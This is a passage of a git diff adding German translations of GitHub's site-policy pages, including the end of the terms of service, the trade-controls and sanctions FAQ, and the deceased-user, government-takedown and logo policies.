+GitHub kann diese Nutzungsbedingungen und/oder die [GitHub Datenschutzerklärung](https://github.com/site/privacy) ganz oder teilweise an jede natürliche oder juristische Person jederzeit mit oder ohne Ihre Zustimmung, einschließlich der Lizenzgewährung in Abschnitt D.4 abtreten oder übertragen. Sie sind nicht berechtigt, Rechte oder Pflichten aus den Nutzungsbedingungen oder der Datenschutzerklärung ohne unsere vorherige schriftliche Zustimmung abzutreten oder zu übertragen, und jede unbefugte Abtretung und Übertragung durch Sie ist nichtig.
+
+### 3. Abschnittsüberschriften und Zusammenfassungen
+In dieser Vereinbarung enthält jeder Abschnitt Überschriften und kurze Zusammenfassungen der sich anschließenden Bedingungen. Diese Abschnittsüberschriften und kurzen Zusammenfassungen sind nicht rechtsverbindlich.
+
+### 4. Salvatorische Klausel, kein Verzicht und Fortbestand
+Wenn ein Teil dieser Vereinbarung ungültig oder nicht durchsetzbar ist, wird dieser Teil der Vereinbarung so ausgelegt, dass er die ursprüngliche Absicht der Parteien widerspiegelt. Die übrigen Bestimmungen bleiben hiervon unberührt und gültig. Falls GitHub eine Bestimmung aus diesen Bedingungen nicht durchsetzt, stellt dies keinen Verzicht auf die Durchsetzung der betreffenden Bestimmung dar. Unsere Rechte aus dieser Vereinbarung gelten auch nach Beendigung dieser Vereinbarung.
+
+### 5. Änderungen; Vollständige Vereinbarung
+Diese Vereinbarung darf nur durch eine schriftliche Änderung geändert werden, die von einem autorisierten Vertreter von GitHub unterzeichnet wurde, oder durch die Veröffentlichung einer überarbeiteten Version durch GitHub gemäß [Abschnitt Q. Änderungen an diesen Nutzungsbedingungen](#q-changes-to-these-terms). Diese Nutzungsbedingungen stellen zusammen mit der GitHub Datenschutzerklärung die vollständige und ausschließliche Erklärung der Vereinbarung zwischen Ihnen und uns dar. Diese Vereinbarung ersetzt alle mündlichen oder schriftlichen Vorschläge oder vorherigen Vereinbarungen sowie alle anderen Mitteilungen zwischen Ihnen und GitHub in Bezug auf den Gegenstand dieser Bedingungen, einschließlich aller Vertraulichkeits- oder Geheimhaltungsvereinbarungen.
+
+### 6. Fragen
+Haben Sie Fragen zu den Nutzungsbedingungen? [Setzen Sie sich mit uns in Verbindung.](https://support.github.com/contact?tags=docs-policy)
diff --git a/translations/de-DE/content/site-policy/github-terms/index.md b/translations/de-DE/content/site-policy/github-terms/index.md
new file mode 100644
index 0000000000..6bb64906e1
--- /dev/null
+++ b/translations/de-DE/content/site-policy/github-terms/index.md
@@ -0,0 +1,29 @@
+---
+title: GitHub Bedingungen
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+children:
+  - /github-terms-of-service
+  - /github-corporate-terms-of-service
+  - /github-terms-for-additional-products-and-features
+  - /github-community-guidelines
+  - /github-community-code-of-conduct
+  - /github-sponsors-additional-terms
+  - /github-registered-developer-agreement
+  - /github-marketplace-terms-of-service
+  - /github-marketplace-developer-agreement
+  - /github-research-program-terms
+  - /github-open-source-applications-terms-and-conditions
+  - /github-event-terms
+  - /github-event-code-of-conduct
+ms.openlocfilehash: d6be286387ee1c4df3f0f7683c85fa46eaae2a2e
+ms.sourcegitcommit: d298d354a4585e6c154f2a8428aebb214d49e2a1
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/07/2022
+ms.locfileid: '147858638'
+---
+
diff --git a/translations/de-DE/content/site-policy/index.md b/translations/de-DE/content/site-policy/index.md
new file mode 100644
index 0000000000..1d098776db
--- /dev/null
+++ b/translations/de-DE/content/site-policy/index.md
@@ -0,0 +1,28 @@
+---
+title: Website-Richtlinie
+redirect_from:
+  - /categories/61/articles
+  - /categories/site-policy
+  - /github/site-policy
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+children:
+  - /github-terms
+  - /acceptable-use-policies
+  - /privacy-policies
+  - /other-site-policies
+  - /content-removal-policies
+  - /security-policies
+  - /github-company-policies
+  - /site-policy-deprecated
+ms.openlocfilehash: f1e4dc46acc99e667705d06d71cb25bfe858ff26
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '147099236'
+---
+
diff --git a/translations/de-DE/content/site-policy/other-site-policies/github-and-trade-controls.md b/translations/de-DE/content/site-policy/other-site-policies/github-and-trade-controls.md
new file mode 100644
index 0000000000..06798503b8
--- /dev/null
+++ b/translations/de-DE/content/site-policy/other-site-policies/github-and-trade-controls.md
@@ -0,0 +1,117 @@
+---
+title: GitHub und Handelskontrollen
+redirect_from:
+  - /articles/github-and-export-controls
+  - /articles/github-and-trade-control
+  - /articles/github-and-trade-controls
+  - /github/site-policy/github-and-export-controls
+  - /github/site-policy/github-and-trade-controls
+  - /github/site-policy/github-terms-and-other-site-policies/github-and-trade-controls
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: e483abe3bffda4cdca5ee767b8e06ce4093f074a
+ms.sourcegitcommit: d298d354a4585e6c154f2a8428aebb214d49e2a1
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/07/2022
+ms.locfileid: '147858631'
+---
+GitHub.com, GitHub Enterprise Server und die Informationen, die Sie auf eines der beiden Produkte hochladen, können Handelskontrollbestimmungen unterliegen, einschließlich der US Export Administration Regulations (EAR).
+
+Die Vision von GitHub ist es, die globale Plattform für die Zusammenarbeit von Entwicklern zu sein, unabhängig davon, wo sich die Entwickler befinden. Wir nehmen unsere Verantwortung ernst, staatliche Sanktionen gründlich zu prüfen, um sicherzustellen, dass Nutzer und Kunden nicht über das gesetzlich vorgeschriebene Maß hinaus beeinträchtigt werden. Dazu gehört, öffentliche Repository-Dienste, einschließlich solcher für Open-Source-Projekte, verfügbar und zugänglich zu halten, um die persönliche Kommunikation mit Entwicklern in sanktionierten Regionen zu unterstützen. Das bedeutet auch, dass GitHub sich für Entwickler in sanktionierten Regionen einsetzen wird, um einen besseren Zugang zur Plattform und vollen Zugang zur globalen Open-Source-Community zu erhalten.
+
+Als Ergebnis unseres Eintretens und unserer harten Arbeit mit den US-Aufsichtsbehörden hat GitHub eine Lizenz des Office of Foreign Assets Control (OFAC) des US-Finanzministeriums erhalten, um unsere Cloud-Dienste für Entwickler im Iran wiederherzustellen. Außerdem werden wir weiterhin mit den US-Aufsichtsbehörden zusammenarbeiten, um ähnliche Lizenzen zu erhalten, damit wir Entwicklern in anderen sanktionierten Regionen wie Syrien und der Krim Kooperationsdienste anbieten können. Wir setzen uns dafür ein, für einen möglichst breiten Entwicklerzugang einzutreten, da wir glauben, dass das Angebot von Diensten für die Code-Zusammenarbeit für Entwickler in sanktionierten Regionen die globale Entwicklergemeinschaft stärkt, den menschlichen Fortschritt vorantreibt und die anhaltende US-Außenpolitik zur Förderung der Meinungsfreiheit und des freien Informationsflusses unterstützt. Informationen über die Lizenz, die wir für Entwickler im Iran gesichert haben, finden Sie im [Blogbeitrag](https://github.blog/2021-01-05-advancing-developer-freedom-github-is-fully-available-in-iran). 
+
+Obwohl wir die folgenden Informationen unten zu Ihrer Übersicht bereitgestellt haben, liegt es letztendlich in Ihrer Verantwortung, sicherzustellen, dass Ihre Nutzung der Produkte und Dienste von GitHub allen geltenden Gesetzen und Vorschriften entspricht, einschließlich der US-Exportkontrollgesetze.
+
+## Exportvorschriften im Überblick
+
+### GitHub.com
+
+Im Rahmen unserer [Nutzungsbedingungen](/articles/github-terms-of-service) dürfen Nutzer GitHub.com nur in Übereinstimmung mit geltendem Recht, einschließlich US-Exportkontroll- und Sanktionsgesetzen, aufrufen und verwenden.
+
+Die Nutzer haben sicherzustellen, dass die Inhalte, die sie entwickeln und auf GitHub.com teilen, den US-Exportkontrollgesetzen entsprechen, einschließlich der EAR und der US International Traffic in Arms Regulations (ITAR). Das in der Cloud gehostete Serviceangebot, das unter [GitHub.com](https://github.com) verfügbar ist, wurde nicht entwickelt, um Daten zu hosten, die den ITAR unterliegen, und bietet derzeit keine Möglichkeit, den Zugriff auf das Repository nach Ländern zu beschränken. Wenn Sie an ITAR-Daten oder anderen Daten mitarbeiten möchten, die der Exportkontrolle unterliegen, empfehlen wir Ihnen, [GitHub Enterprise Server](https://enterprise.github.com), das lokale Angebot von GitHub, in Erwägung zu ziehen.
+
+GitHub hat jetzt eine Lizenz von OFAC, um Cloud-Dienste für Entwickler bereitzustellen, die sich im Iran befinden oder anderweitig dort ansässig sind. Dies umfasst alle öffentlichen und privaten Dienste für Einzelpersonen und Organisationen, sowohl kostenlose als auch kostenpflichtige.
+
+Sowohl kostenlose als auch kostenpflichtige GitHub Cloud-Dienste stehen zudem Entwicklern in Kuba allgemein zur Verfügung.
+
+Specially Designated Nationals (SDNs), andere nach US-amerikanischem und anderem geltendem Recht Denied Parties oder gesperrte Parteien und bestimmte Regierungsbeamte können vom Zugriff auf oder der Verwendung von GitHub.com ausgeschlossen werden. Darüber hinaus dürfen Nutzer GitHub.com nicht für oder im Namen solcher Parteien verwenden, im Allgemeinen einschließlich der Regierungen sanktionierter Länder. Darüber hinaus darf GitHub.com nicht für Zwecke verwendet werden, die nach den geltenden Exportkontrollgesetzen verboten sind, einschließlich der in [17 CFR 744](https://www.ecfr.gov/cgi-bin/text-idx?SID=ad384e1f1e017076f8c0136f322f0a4c&mc=true&node=pt15.2.744&rgn=div5) beschriebenen verbotenen Endverwendungen.
+
+### GitHub Enterprise Server
+
+GitHub Enterprise Server ist eine selbst gehostete virtuelle Appliance, die in Ihrem eigenen Rechenzentrum oder Ihrer Virtual Private Cloud ausgeführt werden kann. Als solches kann GitHub Enterprise Server zum Speichern von ITAR-Informationen oder anderen Informationen, die der Exportkontrolle unterliegen, verwendet werden, obwohl Endbenutzer dennoch dafür verantwortlich sind, die Einhaltung der ITAR und anderer anwendbarer Exportkontrollen sicherzustellen.
+
+GitHub Enterprise Server ist ein kommerzielles Produkt für den Massenmarkt, hat die Export Control Classification Number (ECCN) `5D992.c` und kann ohne Genehmigung (NLR, No License Required) an die meisten Bestimmungsorte exportiert werden.
+
+GitHub Enterprise Server darf nicht an Länder verkauft, exportiert oder reexportiert werden, die in Country Group E:1 in Supplement No. 1 bis Teil 740 der EAR aufgeführt sind, oder in die folgenden Regionen der Ukraine: Krim und die Separatistengebiete Donezk und Luhansk. Zu den aufgeführten Ländern gehören derzeit Kuba, Iran, Nordkorea, Syrien, Russland und Belarus, aber diese Liste kann sich ändern.
+
+## Häufig gestellte Fragen
+
+### Für welche Länder und Gebiete werden Sanktionen der US-Regierung verhängt?
+
+Die Krim, die Separatistengebiete Donezk und Luhansk, Kuba, den Iran, Nordkorea und Syrien. In Bezug auf den Iran verfügt GitHub jedoch jetzt über eine Lizenz des Office of Foreign Assets Control (OFAC) des US-Finanzministeriums, um Cloud-Dienste für Entwickler bereitzustellen, die sich in diesem Land befinden oder anderweitig dort ansässig sind. Sowohl kostenlose als auch kostenpflichtige GitHub Cloud-Dienste stehen zudem Entwicklern in Kuba allgemein zur Verfügung.
+
+### Wie stellt GitHub sicher, dass Personen, die nicht in den sanktionierten Ländern und Gebieten leben und/oder berufliche Verbindungen zu ihnen haben, weiterhin Zugang oder die Möglichkeit haben, Einspruch einzulegen?
+
+In dem seltenen Fall, dass ein Konto unbeabsichtigt oder irrtümlich betroffen ist, haben wir ein Beschwerdeverfahren, um solche Fälle regeln.
+
+Wenn ein einzelner Nutzer oder Organisationsadministrator der Meinung ist, dass er irrtümlicherweise gekennzeichnet wurde, hat dieser Nutzer die Möglichkeit, die Markierung anzufechten, indem er GitHub Verifizierungsinformationen zur Verfügung stellt. Wenn GitHub ausreichende Informationen erhält, um zu bestätigen, dass der Nutzer oder die Organisation nicht mit einer von den USA sanktionierten Rechtsordnung verbunden ist, für die wir keine Lizenz haben, oder nicht anderweitig durch US-Wirtschaftssanktionen eingeschränkt ist, wird die Markierung entfernt. Wir verweisen auf das [Einspruchsformular für Einzelkonten](https://airtable.com/shrGBcceazKIoz6pY) und das [Einspruchsformular für Organisationskonten](https://airtable.com/shrB2je5RBkqLEt5D).
+
+### Ist das Reisen in diese Regionen davon betroffen?
+
+Reisen in diese Regionen können sich auf Ihren Kontostatus auswirken, aber die Verfügbarkeit kann wiederhergestellt werden, sobald Sie sich außerhalb der sanktionierten Region befinden und eine erfolgreiche [Einspruchsanfrage für Einzelkonten](https://airtable.com/shrGBcceazKIoz6pY) bzw. eine erfolgreich [Einspruchsanfrage für Organisationskonten](https://airtable.com/shrB2je5RBkqLEt5D) eingereicht haben.
+
+### Was ist verfügbar und was nicht?
+
+GitHub hat jetzt eine Lizenz von OFAC, um Cloud-Dienste für Entwickler bereitzustellen, die sich im von den USA sanktionierten Iran befinden oder anderweitig dort ansässig sind. Die Lizenz umfasst alle öffentlichen und privaten Dienste für Einzelpersonen und Organisationen, sowohl kostenlose als auch kostenpflichtige. Sowohl kostenlose als auch kostenpflichtige GitHub Cloud-Dienste stehen zudem Entwicklern in Kuba allgemein zur Verfügung.
+
+GitHub ist bestrebt, Entwicklern mit Einzel- und Organisationskonten in Syrien, der Krim und den Separatistengebieten Donezk und Luhansk weiterhin kostenlose öffentliche Repository-Dienste anzubieten. Dies umfasst den eingeschränkten Zugang zu kostenlosen Diensten, wie z. B. öffentliche Repositories für Open-Source-Projekte (und zugehörige öffentliche Pages), öffentliche Gists und zugeteilte kostenlose Action-Minuten, nur für die private Kommunikation und nicht für kommerzielle Zwecke.
+
+Für kostenpflichtige Organisationskonten in diesen sanktionierten Regionen haben Nutzer möglicherweise eingeschränkten Zugriff auf ihre öffentlichen Repositories, die auf archivierte schreibgeschützte Repositories heruntergestuft wurden. Für kostenlose Organisationskonten in diesen sanktionierten Regionen haben Nutzer jedoch weiterhin vollen Zugriff auf kostenlose öffentliche Repositories für Open-Source-Projekte (und zugehörige öffentliche Pages), öffentliche Gists und zugeteilte kostenlose Action-Minuten.
+
+GitHub wird sich weiterhin bei den US-Aufsichtsbehörden für den größtmöglichen Zugang zu Diensten für die Code-Zusammenarbeit für Entwickler in sanktionierten Regionen wie Syrien und der Krim einsetzen, einschließlich privater Repositories. Wir glauben, dass das Anbieten dieser Dienste den menschlichen Fortschritt, die internationale Kommunikation und die anhaltende US-Außenpolitik zur Förderung der Meinungsfreiheit und des freien Informationsflusses fördert.
+
+Specially Designated Nationals (SDNs), andere nach US-amerikanischem und anderem geltendem Recht Denied Parties oder gesperrte Parteien und bestimmte Regierungsbeamte können unabhängig von ihrem Standort vom Zugriff auf oder der Verwendung von GitHub.com ausgeschlossen werden. Nutzer dürfen GitHub.com nicht für oder im Namen solcher Parteien verwenden, im Allgemeinen einschließlich der Regierungen sanktionierter Länder.
+
+GitHub Dienste stehen Entwicklern mit Sitz oder anderweitigem Wohnsitz in Nordkorea nicht zur Verfügung.  
+
+### Wie definieren Sie diese spezifischen Nutzer?
+
+Wenn GitHub feststellt, dass sich ein Nutzer oder Kunde in einer Region befindet, die US-Handelskontrollbeschränkungen unterliegt, für die GitHub noch keine Lizenz der US-Regierung hat, oder ein Nutzer anderweitig durch US-Wirtschaftssanktionen eingeschränkt ist, dann wird das verbundene Konto so beschränkt, dass diese gesetzlichen Anforderungen eingehalten werden. Die Bestimmung des Nutzer- und Kundenstandorts zur Umsetzung dieser gesetzlichen Beschränkungen wird aus einer Reihe von Quellen abgeleitet, u. a. IP-Adressen und Zahlungsverlauf. Nationalität und ethnische Zugehörigkeit werden nicht dafür herangezogen, Nutzer für Sanktionsbeschränkungen zu kennzeichnen.
+
+### Wie sind Organisationskonten betroffen?
+
+Wenn eine Organisation ihren Sitz in einem sanktionierten Gebiet oder Land hat oder die Schlüsselpersonen oder die Mitgliedschaft einer Organisation ausreichende Verbindungen zu einem sanktionierten Gebiet oder Land aufweisen, für das GitHub noch keine Lizenz der US-Regierung hat, oder wenn die Organisation anderweitig US-Wirtschaftssanktionen zu unterliegen scheint, dann werden das Organisationskonto und das Konto des verbundenen Eigentümers eingeschränkt.
+
+Die Einschränkung sperrt den Zugriff auf private Repository-Dienste und kostenpflichtige Dienste, wie z. B. die Verfügbarkeit von kostenlosen oder kostenpflichtigen privaten Repositories, geheimen Inhalten, kostenpflichtigen Action-Minuten, Sponsors und GitHub Marketplace Diensten. Für kostenpflichtige Organisationskonten, die mit diesen sanktionierten Regionen verbunden sind, haben Nutzer möglicherweise eingeschränkten Zugriff auf ihre öffentlichen Repositories, die auf archivierte schreibgeschützte Repositories heruntergestuft wurden. Für kostenlose Organisationskonten, die mit diesen sanktionierten Regionen verbunden sind, haben Nutzer weiterhin vollen Zugriff auf kostenlose öffentliche Repositories für Open-Source-Projekte (und zugehörige öffentliche Pages), öffentliche Gists und zugeteilte kostenlose Action-Minuten.
+
+### Können die privaten Repositories von Nutzern, die Handelsbeschränkungen unterliegen, öffentlich gemacht werden?
+
+Nutzer von kostenlosen Einzelkonten können eingeschränkte private Repositories nur für die private Kommunikation und nicht für kommerzielle Zwecke öffentlich machen. Nutzer können dies tun, indem sie zur Registerkarte „Repository Settings“ (Repository-Einstellungen) navigieren und auf die Schaltfläche „make public“ (Öffentlich machen) klicken. Sobald das Repository öffentlich ist, haben Nutzer Zugriff auf öffentliche Repository-Dienste. Dieser Vorgang kann nicht rückgängig gemacht werden.
+
+### Können Nutzer, die Handelsbeschränkungen unterliegen, auf private Repositorydaten zugreifen (z. B. Repository-Daten herunterladen oder löschen)?
+
+Leider gibt uns unser Rechtsverständnis nicht die Möglichkeit, Downloads oder Löschungen von Inhalten privater Repositories zuzulassen, solange dies nicht von der US-Regierung genehmigt wurde. Wir werden uns bei den US-Aufsichtsbehörden nachdrücklich für das Recht von Nutzern, die Handelsbeschränkungen unterliegen, einsetzen, die Inhalte ihrer privaten Repositories zu sichern. Wir werden uns auch für eine größere Verfügbarkeit von GitHub Diensten für Entwickler in sanktionierten Märkten einsetzen und die Bedeutung der Code-Zusammenarbeit bei der Unterstützung der persönlichen Kommunikation für Entwickler weltweit weiter unterstreichen.
+
+### Welche Arten von Konten werden unter der Lizenz, die GitHub von OFAC erhalten hat, im Iran verfügbar sein?
+
+Die Lizenz, die wir erhalten haben, umfasst alle öffentlichen und privaten Dienste für Einzelpersonen und Organisationen, sowohl kostenlose als auch kostenpflichtige.
+
+Beispielsweise kann sich ein Entwickler im Iran für einen Free- oder Pro-Plan für die individuelle Nutzung anmelden, und eine iranische Universität kann ein Organisationskonto einrichten, um mit Studenten zusammenzuarbeiten.
+
+Specially Designated Nationals (SDNs), andere nach US-amerikanischem und anderem geltendem Recht Denied Parties oder gesperrte Parteien und bestimmte Regierungsbeamte können vom Zugriff auf oder der Verwendung von GitHub ausgeschlossen werden.
+
+Wenn GitHub feststellt, dass eine Person oder Organisation in eine eingeschränkte Kategorie fällt (SDNs, andere gesperrte Parteien oder bestimmte Regierungsbeamte), wird ihr Konto gekennzeichnet und sie können keine GitHub Funktionen verwenden. Wenn sie der Meinung sind, dass sie irrtümlicherweise gekennzeichnet wurden, haben sie die Möglichkeit, Einspruch gegen die Kennzeichnung einzulegen, indem sie GitHub Verifizierungsinformationen über unser [Einspruchsformular für Einzelkonten oder Organisationskonten](https://airtable.com/shrGBcceazKIoz6pY) zur Verfügung stellen. Wenn GitHub ausreichende Informationen erhält, um zu bestätigen, dass die Person nicht in eine Kategorie fällt, die durch US-Wirtschaftssanktionen eingeschränkt ist, wird die Markierung entfernt.
+
+### Werden iranische GitHub Nutzer kostenpflichtige Dienste unter der Lizenz nutzen können?
+
+Gemäß der Lizenz, die wir von OFAC erhalten haben, stellen wir alle Cloud-Dienste für iranische Nutzer wieder her, einschließlich kostenpflichtiger Dienste. Wir akzeptieren alle gängigen Kreditkarten, aber Zahlungen werden von Dritten für uns abgewickelt, daher unterliegen Zahlungen den Geschäftsbedingungen unserer Zahlungsabwickler. Diese Drittanbieter können Beschränkungen festlegen, die Zahlungen aus dem Iran blockieren.
+
+### Können Sie die Verfügbarkeit von GitHub für kubanische Entwickler erläutern?
+
+Sowohl kostenlose als auch kostenpflichtige GitHub Cloud-Dienste stehen Entwicklern in Kuba allgemein zur Verfügung.  
+Specially Designated Nationals (SDNs), andere nach US-amerikanischem und anderem geltendem Recht Denied Parties oder gesperrte Parteien und bestimmte Regierungsbeamte können unabhängig von ihrem Standort vom Zugriff auf oder der Verwendung von GitHub.com ausgeschlossen werden. Darüber hinaus dürfen Nutzer GitHub.com nicht für oder im Namen solcher Parteien verwenden, im Allgemeinen einschließlich der Regierungen sanktionierter Länder.
diff --git a/translations/de-DE/content/site-policy/other-site-policies/github-deceased-user-policy.md b/translations/de-DE/content/site-policy/other-site-policies/github-deceased-user-policy.md
new file mode 100644
index 0000000000..bcdf690586
--- /dev/null
+++ b/translations/de-DE/content/site-policy/other-site-policies/github-deceased-user-policy.md
@@ -0,0 +1,32 @@
+---
+title: GitHub Richtlinie für verstorbene Nutzer
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+redirect_from:
+  - /github/site-policy/github-deceased-user-policy
+  - /github/site-policy/github-terms-and-other-site-policies/github-deceased-user-policy
+ms.openlocfilehash: a78a0c99d0edf9891748101d238b26598df96c77
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556520'
+---
+Falls ein GitHub Nutzer stirbt, können wir mit einer autorisierten Person zusammenarbeiten, um festzustellen, was mit dem Inhalt des Kontos geschehen soll. 
+
+Wenn Sie Angehöriger, ein [vorab bestimmter Nachfolger](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories) oder eine andere autorisierte Person (einschließlich eines Mitarbeiters oder Geschäftspartners) eines verstorbenen Nutzers sind, der bzw. die eine Anfrage bezüglich des Kontos der verstorbenen Person stellen möchte, können Sie sich unter https://support.github.com/contact an uns wenden. Bitte geben Sie in Ihrer Nachricht folgende Informationen an:
+
+- Name
+- Kontaktinformationen
+- Name des verstorbenen Kontoinhabers
+- GitHub Nutzername des verstorbenen Kontoinhabers
+- Ihre Beziehung zum verstorbenen Kontoinhaber (bitte geben Sie an, ob Sie als Kontonachfolger auf GitHub.com bestimmt wurden)
+- Falls als Kontonachfolger bestimmt, der Nutzername Ihres GitHub Kontos
+- Welche Maßnahme Sie anstreben (z. B. öffentliche Repositories übertragen, Abrechnung über das Konto kündigen)
+
+Sobald wir Ihre Anfrage erhalten haben, können wir weitere Informationen anfordern, z. B. eine Kopie Ihres Lichtbildausweises, eine Kopie der Sterbeurkunde und Unterlagen, die bestätigen, dass Sie berechtigt sind, in Bezug auf das Konto des verstorbenen Nutzers zu handeln, damit wir überprüfen können, ob wir ordnungsgemäß autorisiert sind, Ihre Anfrage zu bearbeiten. 
+
+Bitte beachten Sie, dass die Informationen, die Sie in Ihrer Anfrage angeben, in Übereinstimmung mit unserer [Datenschutzerklärung](/github/site-policy/github-privacy-statement) erfasst werden, und wir werden die Informationen nur so lange aufbewahren, wie es zur Erfüllung unserer gesetzlichen Verpflichtungen und zur Beilegung von Streitigkeiten erforderlich ist.
diff --git a/translations/de-DE/content/site-policy/other-site-policies/github-government-takedown-policy.md b/translations/de-DE/content/site-policy/other-site-policies/github-government-takedown-policy.md
new file mode 100644
index 0000000000..ea18db4f30
--- /dev/null
+++ b/translations/de-DE/content/site-policy/other-site-policies/github-government-takedown-policy.md
@@ -0,0 +1,45 @@
+---
+title: GitHub Richtlinie zu Government Takedown
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+redirect_from:
+  - /github/site-policy/github-government-takedown-policy
+  - /github/site-policy/github-terms-and-other-site-policies/github-government-takedown-policy
+ms.openlocfilehash: e3d0c85171d649c94a7c2ab5934d58fdcfff6181
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556629'
+---
+## Was ist das?
+Von Zeit zu Zeit erhält GitHub Anfragen von Regierungen, Inhalte zu entfernen, die in ihrer lokalen Gerichtsbarkeit für rechtswidrig erklärt wurden. Obwohl wir diesen Gesetzen möglicherweise nicht immer zustimmen, müssen wir gegebenenfalls Inhalte blockieren, wenn wir einen vollständigen Antrag von einem Regierungsbeamten erhalten, damit unsere Nutzer in dieser Gerichtsbarkeit weiterhin Zugriff auf GitHub haben und sich austauschen und Software entwickeln können.
+
+## Was ist ein vollständiger Antrag auf Entfernen durch eine Regierung (Government Takedown)?
+Um als vollständiger Antrag zu gelten, muss ein Antrag oder eine Mitteilung
+- von einer zuständigen, offiziellen Regierungsbehörde vorliegen,
+- rechtswidriger Inhalt identifiziert worden sein
+- und die Grundlage der Rechtswidrigkeit in dieser Gerichtsbarkeit (Gesetz oder Gerichtsbeschluss) angegeben sein.
+
+## Was passiert, wenn wir von einer Regierung einen vollständigen Antrag auf Entfernung erhalten?
+
+Wenn wir eine Mitteilung von einer zuständigen offiziellen Regierungsbehörde erhalten, die illegale Inhalte identifiziert und die Quelle der Rechtswidrigkeit angibt, werden wir
+- die betroffenen Nutzer über die konkreten Inhalte, die mutmaßlich gegen das Gesetz verstoßen, in Kenntnis setzen und angeben, dass es sich um einen rechtlichen Antrag auf Entfernung handelt.
+- Die betroffenen Nutzer erhalten in der Benachrichtigung die Möglichkeit, die Entscheidung anzufechten,
+- die Entfernung wenn möglich auf bestimmte geografische Regionen beschränken und in der Benachrichtigung
+- den offiziellen Antrag als Begründung angeben, der dann in der frei zugänglichen Datenbank [gov-takedowns-Repository](https://github.com/github/gov-takedowns) abrufbar ist.
+
+## Warum machen wir Anträge auf Entfernung öffentlich?
+Internetzensur bereitet uns Sorgen und wir glauben, dass Transparenz auf einer detaillierten und dauerhaften Ebene für eine gute Regierungsführung unerlässlich ist. Durch die Veröffentlichung der Mitteilungen können wir die Öffentlichkeit besser darüber informieren, welche Inhalte von GitHub zurückgehalten werden und warum. Wir veröffentlichen Anträge auf Entfernung, um ihr Potenzial zu dokumentieren, Meinungsfreiheit zu unterdrücken.
+
+## Was bedeutet es, wenn wir eine Benachrichtigung in unserem Gov-Takedowns-Repository veröffentlichen?
+Dies bedeutet, dass wir die Benachrichtigung am angegebenen Datum erhalten haben. Es bedeutet *nicht*, dass der Inhalt rechtswidrig oder falsch war. Es bedeutet *nicht*, dass der in der Benachrichtigung identifizierte Nutzer etwas falsch gemacht hat. Wir treffen oder implizieren kein Urteil über die Berechtigung der erhobenen Ansprüche. Wir veröffentlichen diese Benachrichtigungen und Anträge nur zu Informationszwecken.
+
+## Government Takedowns aufgrund von Verstößen gegen die Nutzungsbedingungen von GitHub
+In einigen Fällen erhält GitHub Berichte von Regierungsbeamten über Verstöße gegen die Nutzungsbedingungen von GitHub. Wir behandeln diese Verstöße so, wie wir jeden Verstoß gegen die Nutzungsbedingungen behandeln würden, der von jemand anderem gemeldet wird. Wir benachrichtigen die betroffenen Nutzer jedoch darüber, dass die Meldung von einer Regierungsbehörde stammt, und geben ihnen wie in jedem anderen Fall die Möglichkeit, Einspruch einzulegen.
+
+## Transparenzberichterstattung
+Zusätzlich zur Veröffentlichung von Anträgen auf Entfernung durch Regierungen in unserem `github/gov-takedowns` Repository, berichten wir über diese Fälle auch in unserem Transparenzbericht. Wir verfolgen und melden in unserem Transparenzbericht auch Government Takedowns aufgrund von Verstößen gegen die Nutzungsbedingungen von GitHub.
diff --git a/translations/de-DE/content/site-policy/other-site-policies/github-logo-policy.md b/translations/de-DE/content/site-policy/other-site-policies/github-logo-policy.md
new file mode 100644
index 0000000000..d40957cf8b
--- /dev/null
+++ b/translations/de-DE/content/site-policy/other-site-policies/github-logo-policy.md
@@ -0,0 +1,23 @@
+---
+title: GitHub Logo-Richtlinie
+redirect_from:
+  - /articles/i-m-developing-a-third-party-github-app-what-do-i-need-to-know
+  - /articles/using-an-octocat-to-link-to-github-or-your-github-profile
+  - /articles/github-logo-policy
+  - /github/site-policy/github-logo-policy
+  - /github/site-policy/github-terms-and-other-site-policies/github-logo-policy
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: 5759e374fadc9a4f2f5b6790d9650c4a47e75720
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556614'
+---
+Sie können {% data variables.product.prodname_dotcom %} Logos auf Ihrer Website oder in einigen Anwendungen von Drittanbietern hinzufügen. Weitere Informationen und spezifische Richtlinien zur Verwendung von Logos finden Sie unter [{% data variables.product.prodname_dotcom %} Logos und Verwendungsseite](https://github.com/logos).
+
+Sie können Octocat auch als Ihren persönlichen Avatar oder auf Ihrer Website verwenden, um auf Ihr {% data variables.product.prodname_dotcom %} Konto zu verlinken, aber nicht als Logo für Ihr Unternehmen oder ein Produkt, das Sie entwickeln. {% data variables.product.prodname_dotcom %} hat eine umfangreiche Sammlung von Octocats im [Octodex](https://octodex.github.com/). Weitere Informationen zur Verwendung der Octocats aus dem Octodex finden Sie unter [Octodex FAQ](https://octodex.github.com/faq/).
diff --git a/translations/de-DE/content/site-policy/other-site-policies/github-username-policy.md b/translations/de-DE/content/site-policy/other-site-policies/github-username-policy.md
new file mode 100644
index 0000000000..f1ac9426d7
--- /dev/null
+++ b/translations/de-DE/content/site-policy/other-site-policies/github-username-policy.md
@@ -0,0 +1,34 @@
+---
+title: GitHub Richtlinie für Nutzernamen
+redirect_from:
+  - /articles/name-squatting-policy
+  - /articles/github-username-policy
+  - /github/site-policy/github-username-policy
+  - /github/site-policy/github-terms-and-other-site-policies/github-username-policy
+versions:
+  fpt: '*'
+topics:
+  - Policy
